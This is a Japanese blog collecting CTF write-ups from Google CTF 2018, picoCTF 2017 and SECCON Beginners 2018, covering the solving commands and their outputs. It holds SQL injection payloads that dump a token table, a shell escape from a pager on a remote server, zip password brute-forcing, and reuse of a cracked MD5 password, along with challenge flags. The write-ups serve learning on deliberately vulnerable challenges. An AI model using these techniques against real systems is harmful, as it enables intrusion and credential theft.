Google CTF 2018 Beginners Quest writeup 03
GoogleCTF 2018 Beginners Questのwriteupを引き続き解いていきます。
MEDIA-DB[misc]
接続するとartist/songを登録してプレイリストを表示したりするプログラムが立ち上がる。 タイトルがMEDIA-DBって書いてるし、SQL-injectionだと思い実行。
「'」を入力してshuffle artistをするとエラーが表示され、select文の内容とDBがsqlite3だと判明する。
=== Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? ' song name? hoge 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: ' == new playlist == Traceback (most recent call last): File "./media-db.py", line 76, in <module> print_playlist("SELECT artist, song FROM media WHERE artist = '{}'".format(artist)) File "./media-db.py", line 45, in print_playlist for i, res in enumerate(c.execute(query).fetchall()): sqlite3.OperationalError: unrecognized token: "'''"
テーブル一覧を取得したいので問い合わせる。
=== Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? 'and'1'='0' union select null,name from sqlite_master;-- song name? hoge 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: 'and'1'='0' union select null,name from sqlite_master;-- == new playlist == 1: "media" by "None" 2: "oauth_tokens" by "None"
oauth_tokensに入っているはず!データ出力する。
# カラム一覧を取得する方法がわからなかったので
# tokenやtokensなどで総当たりしました。
# sqlite3でカラム一覧取得するクエリ文があるのかな。。。
=== Media DB === 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 1 artist name? 'and'1'='0' union select null,oauth_token from oauth_tokens;-- song name? hoge 1) add song 2) play artist 3) play song 4) shuffle artist 5) exit > 4 choosing songs from random artist: 'and'1'='0' union select null,oauth_token from oauth_tokens;-- == new playlist == 1: "CTF{fridge_cast_oauth_token_cahn4Quo} " by "None"
flagはCTF{fridge_cast_oauth_token_cahn4Quo}
MOAR [pwn]
ncしろとかいてあるのでncしてみるとsocatのmanページがでてくる。
hをおすとlessコマンドであることがわかる。
# nc moar.ctfcompetition.com 1337 socat(1) socat(1) NAME socat - Multipurpose relay (SOcket CAT) Manual page socat(1) line 1 (press h for help or q to quit)h ...skipping... SUMMARY OF LESS COMMANDS
!とあわせることでコマンド実行ができるので探索開始。
/home/moar/の下にdisable_dmz.shというファイルがあるのでそれを表示して終了。
!ls -al /home/moar/ total 24 drwxr-xr-x 2 nobody nogroup 4096 Jun 29 14:13 . drwxr-xr-x 3 nobody nogroup 4096 Jun 14 14:17 .. -rw-r--r-- 1 nobody nogroup 220 Aug 31 2015 .bash_logout -rw-r--r-- 1 nobody nogroup 3771 Aug 31 2015 .bashrc -rw-r--r-- 1 nobody nogroup 655 May 16 2017 .profile -r-xr-xr-x 1 nobody nogroup 695 Jun 26 15:56 disable_dmz.sh ! cat /home/moar/*.sh #!/bin/sh # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. echo 'Disabling DMZ using password CTF{SOmething-CATastr0phic}' echo CTF{SOmething-CATastr0phic} > /dev/dmz
flagはCTF{SOmething-CATastr0phic}
でした。
FLOPPY [misc]
foo.icoファイルが与えられる。
Forensics入門(CTF)を参考に確認していく。
exiftoolは特になにもなし。
# exiftool foo.ico ExifTool Version Number : 10.97 File Name : foo.ico Directory : . File Size : 1414 bytes File Modification Date/Time : 2018:07:01 01:57:25+09:00 File Access Date/Time : 2018:07:07 23:07:22+09:00 File Inode Change Date/Time : 2018:07:01 01:57:34+09:00 File Permissions : rw------- Error : Unknown file type
binwalkしてみるとzipが含まれているとのこと!
なので抽出してファイルを確認するとフラグをゲット!
# binwalk -e foo.ico DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 765 0x2FD Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt 956 0x3BC Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com 1392 0x570 End of Zip archive # cat _foo.ico.extracted/driver.txt This is the driver for the Aluminum-Key Hardware password storage device. CTF{qeY80sU6Ktko8BJW} In case of emergency, run www.com
flagはCTF{qeY80sU6Ktko8BJW}
でした。
Google CTF 2018 Beginners Quest writeup 02
引き続き、writeup書きつつチャレンジしていきます。
FIRMWARE [re]
ダウンロードしたらext4ファイルが取得できるので
ひとまず調べてmountする。
# fdisk -l -u challenge2.ext4 Disk challenge2.ext4: 300 MiB, 314572800 bytes, 614400 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes # mount -o challenge2.ext4 /mnt/test/
lsを打つとそれっぽいデータがあったので
展開して終了!
# ls -al 合計 44 drwxr-xr-x 22 root root 1024 6月 22 22:54 . drwxr-xr-x 4 root root 4096 7月 1 01:16 .. -rw-r--r-- 1 root root 40 6月 22 22:54 .mediapc_backdoor_password.gz drwxr-xr-x 2 root root 3072 6月 22 22:54 bin drwxr-xr-x 2 root root 1024 6月 22 22:54 boot drwxr-xr-x 4 root root 1024 6月 22 22:54 dev drwxr-xr-x 52 root root 4096 6月 22 22:54 etc drwxr-xr-x 2 root root 1024 6月 22 22:54 home drwxr-xr-x 12 root root 1024 6月 22 22:54 lib drwxr-xr-x 2 root root 1024 6月 22 22:54 lib64 drwx------ 2 root root 12288 6月 22 22:51 lost+found drwxr-xr-x 2 root root 1024 6月 22 22:54 media drwxr-xr-x 2 root root 1024 6月 22 22:54 mnt drwxr-xr-x 2 root root 1024 6月 22 22:54 opt drwxr-xr-x 2 root root 1024 6月 22 22:54 proc drwx------ 2 root root 1024 6月 22 22:54 root drwxr-xr-x 4 root root 1024 6月 22 22:54 run drwxr-xr-x 2 root root 3072 6月 22 22:54 sbin drwxr-xr-x 2 root root 1024 6月 22 22:54 srv drwxr-xr-x 2 root root 1024 6月 22 22:54 sys drwxr-xr-x 2 root root 1024 6月 22 22:54 tmp drwxr-xr-x 10 root root 1024 6月 22 22:54 usr drwxr-xr-x 9 root root 1024 6月 22 22:54 var # gunzip .mediapc_backdoor_password.gz # more .mediapc_backdoor_password CTF{I_kn0W_tH15_Fs}
FlagはCTF{I_kn0W_tH15_Fs}
でした。
GATEKEEPER [re]
バイナリファイルが与えられるので実行してみる。
# ./gatekeeper /===========================================================================\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ [ERROR] Login information missing Usage: ./gatekeeper <username> <password>
usernameとpasswordを確認する必要があるっぽいので
ltraceしながら実行してみるとstrcmpしている部分があるのでusernameをゲット!
# ltrace ./gatekeeper user password (省略) strcmp("user", "0n3_W4rM") (省略)
usernameを「0n3_W4rM」に変更してもう一度実行してみると
もう一度strcmpしている部分を発見。
ただpasswordで入力したのに逆文字で比較されてる。
# ltrace ./gatekeeper 0n3_W4rM password (省略) strcmp("drowssap", "zLl1ks_d4m_T0g_I") = -22 (省略)
そのため、比較している文字を逆にして入力するとフラグゲット!。
# ./gatekeeper 0n3_W4rM I_g0T_m4d_sk1lLz /===========================================================================\ | Gatekeeper - Access your PC from everywhere! | +===========================================================================+ ~> Verifying.......Correct! Welcome back! CTF{I_g0T_m4d_sk1lLz}
FlagはCTF{I_g0T_m4d_sk1lLz}
Google CTF 2018 Beginners Quest writeup 01
6/23-24の期間で開催されていたGoogle CTF 2018!
当日は忙しくて登録しかできなかったので後からですがBeginners Questにチャレンジしました。
サイトは以下から
https://capturetheflag.withgoogle.com/
LETTER [MISC]
与えられたZIPファイルの中身はPDFファイルで
黒塗りされている文字をドラッグするだけで読めました。
FlagはCTF{ICanReadDis}
OCR is cool [MISC]
内容からするとシーザー暗号っぽい。
フラグはCTF{flag}の形なので本文からそれっぽいところを見つけて
手打ちすればいいんだけどせっかくなのでOCRを試してみる!
Google DriveでOCRできるらしいのでまずは画像をアップロード。
アップロードした画像を右クリックし、アプリで開く > Googleドキュメントを選択。
するとテキストでメール本文が表示されました。
あとはシーザー暗号を解読するだけ!7文字ずらすとフラグがでてきました。
が、入力しても答えが違うとでてきてしまい、
よくみてみるとOCRが完璧にできていない。。。(lがiで判定されてた)
なので結局手打ちで文字を打ち込みフラグゲット。
FlagはCTF{caesarcipherisasubstitutioncipher}
SECURITY BY OBSCURITY
password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.pというめんどくさそうなファイルが与えられる。
fileで調べるとzipファイルと分かったので展開するとまたファイルが。
マトリョーシカパターンなのでひとまず全部zipと仮定して無理やり展開
# while true; do unzip `ls | head -n 1`; done;
するとpassword.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.aでzipから変更される。
# file password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a password.x.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a: XZ compressed data
なので今度もしばらく同じファイル形式が続くと予想して無理やり展開
# while true; do 7z x `ls | head -n 1`; done
password.xというzipファイルまで展開できたけど次はパスワードがかかっている。
なのでBrute Forceで突破すべくfcrackzipを使用。 デフォルトだと6文字から調べるけどそこまで多くないだろうと勝手に予想して1から試す。
# fcrackzip -l1 -u password.x # fcrackzip -l2 -u password.x # fcrackzip -l3 -u password.x # fcrackzip -l4 -u password.x PASSWORD FOUND!!!!: pw == asdf
あとは展開されたテキストファイルを読んで終了!
FlagはCTF{CompressionIsNotEncryption}
picoCTF 2017 Level2 writeup 03
MISC
Yarn
プログラムが渡されるけどどうすればいいかよくわからない。。。
# file yarn yarn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03699e31e36acb60e370f0cd555e54521356061c, not stripped # chmod +x yarn # ./yarn Ain't Here
Hintを見るとstringsコマンドの長さはどうやって決める?とあるので
stringsのデフォルト4からさらに短くしてみるとflagを発見。
# strings -n 3 yarn (省略) UW1 l$0 D$8 D$4 [^_] Sub mit _me _fo r_I _am _th e_f lag (省略)
flagはSubmit_me_for_I_am_the_flag
Mystery Box
よくわからないパラメータと何やら機械の画像が渡される。
google先生で画像検索するとエニグマと発見。
エニグマシミュレータを探してきてパラメータ通りに入力。
flagはQUITEPUZZLINGINDEED
でした
picoCTF 2017 Level2 writeup 02
Cryptography
SoRandom
ホストとポート番号が与えられるのでncしてみる。
$ nc shell2017.picoctf.com 63997 Unguessably Randomized Flag: BNZQ:3o8b2bgl0689u4aj640407963277k0fc
SoRandom.pyが動いているらしくプログラムを見てみる。
#!/usr/bin/python -u import random,string flag = "FLAG:"+open("flag", "r").read()[:-1] encflag = "" random.seed("random") for c in flag: if c.islower(): #rotate number around alphabet a random amount encflag += chr((ord(c)-ord('a')+random.randrange(0,26))%26 + ord('a')) elif c.isupper(): encflag += chr((ord(c)-ord('A')+random.randrange(0,26))%26 + ord('A')) elif c.isdigit(): encflag += chr((ord(c)-ord('0')+random.randrange(0,10))%10 + ord('0')) else: encflag += c print "Unguessably Randomized Flag: "+encflag
flagの文字列を 一文字ずつ取り出して、randomを足しているだけっぽい。
# なんでord('a')をマイナスしてプラスしてるんだろう。。。
seedが同じであれば乱数は同じになるので復号用プログラムを作成。
といってもrandomを引くだけ!
#!/usr/bin/python -u import random,string flag = "BNZQ:3o8b2bgl0689u4aj640407963277k0fc" decrypt_flag = "" random.seed("random") for c in flag: if c.islower(): #rotate number around alphabet a random amount decrypt_flag += chr((ord(c)-ord('a')-random.randrange(0,26))%26 + ord('a')) elif c.isupper(): decrypt_flag += chr((ord(c)-ord('A')-random.randrange(0,26))%26 + ord('A')) elif c.isdigit(): decrypt_flag += chr((ord(c)-ord('0')-random.randrange(0,10))%10 + ord('0')) else: decrypt_flag += c print decrypt_flag
flagはFLAG:0d6f1cac5615c7ae971761318430c9bb
になりました。
LeakedHashes
なんかパスワードが漏れたけど大丈夫?みたいな問題
リストがダウンロードできるので見てみる。
root:be3f7de032d2e398ec542a7df71e0417 (省略) emiko:a28f30dd072b0aa66337f37526e7efa0 (省略)
saltを入れていないただのMD5 hashであれば解けるはず!
webツールを使ってやってみるとemikoのアカウントがMD5で復号できた!
# rootはだめだったので適当に選びました。
あとはそのパスワードでncするだけ!
emiko's password:pom@shell-web:~$ nc shell2017.picoctf.com 46881 enter username: emiko emiko's password:chumch0r3 welcome to shady file server. would you like to access the cat ascii art database? y/n y /\__/\ /` '\ === 0 0 === \ -- / - flag is 18e27fcac2c4b21329e0b118898794c0 / \ / \ | | \ || || / \_oo__oo_/#######o from http://user.xmission.com/~emailbox/ascii_cats.htm
flagは18e27fcac2c4b21329e0b118898794c0
でした。
Weird RSA
RSAのパラメータっぽいのが与えられる。
中国人剰余定理というものらしい。
解き方を調べて実装しました。
c=95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885 p=11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243 q=12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629 dp=8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961 dq=3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659 q_inv= 1/q % p m1 = pow(c,dp,p) m2 = pow(c,dq,q) h = (q_inv*(m1-m2)) % p m = m2 + h * q print format(m,'x').decode('hex')
flagはTheres_more_than_one_way_to_RSA
でした。
CryptographyのLevel2はこれで終わり! やはりpythonに慣れていない。。。本買うべきかな。
picoCTF 2017 Level2 writeup 01
SECCON beginnersをやる前にpicoCTF 2017を解いていました。
Level1は自分で解いてwriteup書いていなかったのでLevel2からwriteup書きます!
# というかLevel1しか解けてなかった。。。
気になった方はこちらから picoCTF 2017
Forensics
Meta Find Me
images.jpgが与えられる。
問題文にもある通り、Metaを見つけろということなのでexiftoolを実行
# exiftool image.jpg ExifTool Version Number : 10.97 File Name : image.jpg (中略) Comment : "Your flag is flag_2_meta_4_me_<lat>_<lon>_8571. Now find the GPS coordinates of this image! (Degrees only please)" GPS Position : 33 deg 0' 0.00", 160 deg 0' 0.00"
flagはGPS positionから
flagはflag_2_meta_4_me_33_160_8571
です。
Little School Bus
bmpが与えられる。 Hintをみるとleast significant bit(最下位ビット)とあるのでgoogle先生に聞いてみるとステガノグラフィー問題らしい。
が、rgbを取得して最下位ビットを取得していってもうまくいかない。。
もう少し考える。。。
SECCON BeginnersCTF 2018 Writeup 02
前回のエントリで書ききれなかったMISCのwriteup
MISC
[Warmup] plain mail
pcapが渡されるのでそこからフラグを探す。
タイトルどおり、SMTPのパケットが多い。
合計で3通メールが飛んでいる。
- 1通目
パス付きファイル送るよー2通目にパスかいてるよ!とのこと
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000 ehlo [172.19.0.3] 250-67289bb1f069 Hello client.4b [172.19.0.3] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250 HELP mail FROM:<me@4b.local> size=103 250 OK rcpt TO:<you@4b.local> 250 Accepted data 354 Enter message, ending with "." on a line by itself I will send secret information. First, I will send encrypted file. Second, I wll send you the password. . 250 OK id=1fC17G-00005T-T0 421 67289bb1f069 lost input connection
- 2通目
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000 ehlo [172.19.0.3] 250-67289bb1f069 Hello client.4b [172.19.0.3] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250 HELP mail FROM:<me@4b.local> size=658 250 OK rcpt TO:<you@4b.local> 250 Accepted data 354 Enter message, ending with "." on a line by itself Content-Type: multipart/mixed; boundary="===============0309142026791669022==" MIME-Version: 1.0 Content-Disposition: attachment; filename="encrypted.zip" --===============0309142026791669022== Content-Type: application/octet-stream; Name="encrypted.zip" MIME-Version: 1.0 Content-Transfer-Encoding: base64 UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA= --===============0309142026791669022==-- . 250 OK id=1fC17I-00005a-Fw 421 67289bb1f069 lost input connection
encrypted.zipをbase64でエンコードして送ったよ!とのこと。
デコードしてzipファイルを取り出す。
# echo -n "UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEEAAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsHCMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAAAABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=" | base64 -d > encrypted.zip
- 3通目
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000 ehlo [172.19.0.3] 250-67289bb1f069 Hello client.4b [172.19.0.3] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250 HELP mail FROM:<me@4b.local> size=13 250 OK rcpt TO:<you@4b.local> 250 Accepted data 354 Enter message, ending with "." on a line by itself _you_are_pro_ . 250 OK id=1fC17K-00005h-AC 421 67289bb1f069 lost input connection
ファイルのパスワードは_you_are_pro_
と判明
あとは展開してflag.txtを読めば終わり!
フラグは
ctf4b{email_with_encrypted_file}
[Warmup] Welcome
フラグは公式IRCチャンネルのトピックにありますと書いてあるので ルールのところに記載があるIRCへアクセスしてフラグゲット
フラグは
ctf4b{welcome_to_seccon_beginners_ctf}
てけいさんえくすとりーむず
アクセスすると300秒以内に計算を100問解くよう求められる。
適当に作ったpythonスクリプトで解く。ヘッダー部分の除去は力技
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp',8690)) print s.recv(303) for i in range(1, 102): data = s.recv(256) print data q = data.split('\n') ans = str(eval(q[1].replace("=",""))) print ans s.sendall(ans+'\n')
100問といてフラグは
ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}
Find the messages
imgファイルからメッセージを探せ!とのこと
まずはimgファイルを調査。
# file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors
なんだかマウントできそうなのでマウント位置を確認。
# fdisk -l -u disk.img Disk disk.img: 64 MiB, 67108864 bytes, 131072 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xad4d4cf0 Device Boot Start End Sectors Size Id Type disk.img1 2048 131071 129024 63M 83 Linux
Startが2048なのでoffsetは2048*512とわかったところでマウント
mount -o loop,offset=1048576 disk.img /mnt
ディレクトリ構造はこんな感じ
./ ├── lost+found ├── message1 │ └── message_1_of_3.txt ├── message2 │ └── message_2_of_3.png └── message3
さっそくmessage_1_of_3.txtにとりかかる。
内容をみてみるとbase64でエンコードされてそうな文字列なのでデコードして1つ目ゲット!
# base64 -d message_1_of_3.txt ctf4b{y0u_t0uchedr
2つ目のファイルは拡張子がpngなのにfileコマンドで見るとdataになっている。
# file message_2_of_3.png message_2_of_3.png: data
hexdumpしてみるとpngフォーマットになっていない。
# hexdump message_2_of_3.png | head -n1 0000000 5858 5858 5858 5858 0000 0d00 4849 5244
なので89 50 4E 47 0D 0A 1A 0A
に書き換えて
pngファイルを開くと2つ目_a_part_0f_
をゲット!
3つ目はフォルダの中が空。
ファイルがない。
削除されているのかな?と思いFTK Imagerでimgファイルを読み込んでみるが
ファイルはなし。
けどなにやらmessage_3_of_3.pdf
なる文字列を発見
# foremost -t pdf disk.img # ls ./output/pdf/ 00018946.pdf
pdfファイルを開くと3つ目のキーワードdisk_image_for3nsics}
をゲット!
あわせてフラグは
ctf4b{y0u_t0uchedr_a_part_0f_disk_image_for3nsics}
これで今回解けた問題のwriteupは終了です。
1ヶ月程度サーバは生きているそうなのでその間に解けなかった問題にチャレンジしたいと思います!
特にPwn頑張ろう。。。